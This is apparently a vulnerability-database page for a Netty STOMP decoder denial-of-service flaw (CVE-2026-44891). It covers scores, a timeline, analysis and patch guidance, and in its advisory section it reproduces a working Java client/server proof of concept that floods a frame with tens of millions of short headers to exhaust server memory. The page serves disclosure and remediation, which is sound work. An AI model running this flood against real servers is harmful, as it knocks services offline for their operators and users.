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Netty EUVDEUVD-2026-45316

| CVE-2026-44891 HIGH
Uncontrolled Resource Consumption (CWE-400)
2026-07-14 https://github.com/netty/netty GHSA-vhch-2wf3-m8rp
Denial Of Service Java Red Hat Suse
7.5
CVSS 3.1 · Vendor: https://github.com/netty/netty
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Severity by source

Vendor (https://github.com/netty/netty) PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
vuln.today AI
7.5 HIGH

Unauthenticated remote attacker sends a single crafted STOMP frame with low complexity and no user interaction, causing memory-exhaustion DoS with availability-only impact.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE
HIGH
qualitative
Red Hat
7.5 HIGH
qualitative

Primary rating from Vendor (https://github.com/netty/netty).

CVSS VectorVendor: https://github.com/netty/netty

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 14, 2026 - 21:07 vuln.today
Analysis Generated
Jul 14, 2026 - 21:07 vuln.today
CVE Published
Jul 14, 2026 - 20:16 github-advisory
HIGH 7.5

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 3 maven packages depend on io.netty:netty-codec-stomp (3 direct, 0 indirect)

Ecosystem-wide dependent count for version 4.2.0.Alpha1.

DescriptionCVE.org

Summary

The StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, allowing an attacker to cause an OutOfMemoryError, leading to a Denial of Service.

Details

io.netty.handler.codec.stomp.StompSubframeDecoder implements the STOMP protocol. The maxLineLength parameter restricts the length of individual header lines, but there is no mechanism to limit the total number of headers in a single STOMP frame. An attacker can send a large number of short headers (e.g., a: 1\n), which are accumulated in memory inside the DefaultStompHeadersSubframe until the JVM throws an OutOfMemoryError.

PoC

Run the server with -Xmx256m

java
public final class ServerApp {
    public static void main(String[] args) throws Exception {
        EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            ChannelFuture serverFuture = new ServerBootstrap()
                    .group(group)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new StompSubframeDecoder())
                    .bind(8080)
                    .sync();
            serverFuture.channel().closeFuture().sync();
        } finally {
            group.shutdownGracefully();
        }
    }
}
java
public final class ClientApp {
    public static void main(String[] args) throws Exception {
        try (Socket socket = new Socket("127.0.0.1", 8080)) {
            OutputStream out = socket.getOutputStream();

            out.write("CONNECT\n".getBytes(StandardCharsets.UTF_8));

            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < 1000; i++) {
                sb.append("a:1\n");
            }
            byte[] bulkHeaders = sb.toString().getBytes(StandardCharsets.UTF_8);

            for (int i = 1; i <= 50_000; i++) {
                out.write(bulkHeaders);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Impact

Denial of Service: An attacker can easily exhaust the server's memory by sending a single malicious STOMP message. Any server exposing a STOMP endpoint based on StompSubframeDecoder is vulnerable to DoS.

Articles & Coverage 1

News 5 New Java Vulnerabilities - 1 Critical, 4 High, 1 With POC Jul 15, 2026

AnalysisAI

Denial of service in the Netty netty-codec-stomp module (versions 4.1.x up to 4.1.135.Final and 4.2.0.Alpha1 through 4.2.15.Final) allows a remote attacker to trigger an OutOfMemoryError and crash the JVM. The StompSubframeDecoder caps individual header line length via maxLineLength but never bounds the total header count or cumulative header size, so a single STOMP frame packed with thousands of short headers exhausts heap memory. Publicly available exploit code exists (a working client/server PoC is published in the GitHub Security Advisory), but there is no public evidence of active exploitation; EPSS/KEV signals are not present in the input.

Technical ContextAI

The affected component is io.netty.handler.codec.stomp.StompSubframeDecoder, Netty's decoder for the STOMP (Simple Text Oriented Messaging Protocol) messaging protocol, distributed as the Maven artifact io.netty:netty-codec-stomp (pkg:maven/io.netty:netty-codec-stomp). As STOMP frames are parsed, each header line is length-checked against maxLineLength, but parsed headers accumulate without limit inside a DefaultStompHeadersSubframe object. The root cause is CWE-400 (Uncontrolled Resource Consumption): there is no ceiling on the number of headers or their aggregate memory footprint per frame, so attacker-controlled input directly drives unbounded heap allocation. Netty is a high-performance asynchronous network application framework used as the transport layer in a very large number of JVM applications, though the STOMP codec specifically is an optional module used only where a STOMP endpoint is exposed.

RemediationAI

Vendor-released patch: upgrade to 4.2.16.Final on the 4.2 branch, or to 4.1.136.Final on the 4.1 branch, per the Netty advisory GHSA-vhch-2wf3-m8rp (https://github.com/netty/netty/security/advisories/GHSA-vhch-2wf3-m8rp). Because Netty is usually a transitive dependency, verify the resolved version of io.netty:netty-codec-stomp in your build and force the fixed version if a framework pins an older one. If immediate patching is not possible, restrict network exposure of the STOMP endpoint (bind to trusted networks only, place it behind an authenticating gateway or firewall rules) to reduce the unauthenticated attack surface, and enforce a JVM heap and connection read-limit posture so a single connection cannot allocate unbounded memory - noting that these controls reduce but do not eliminate the OOM risk and may not stop an authorized-but-malicious client. Front-proxy request/header-size limits generally will not help because STOMP is not HTTP and the flood occurs inside the STOMP frame parser.

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Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Not-Affected
SUSE Linux Enterprise Desktop 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise Module for Development Tools 15 SP7 Not-Affected

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EUVD-2026-45316 vulnerability details – vuln.today
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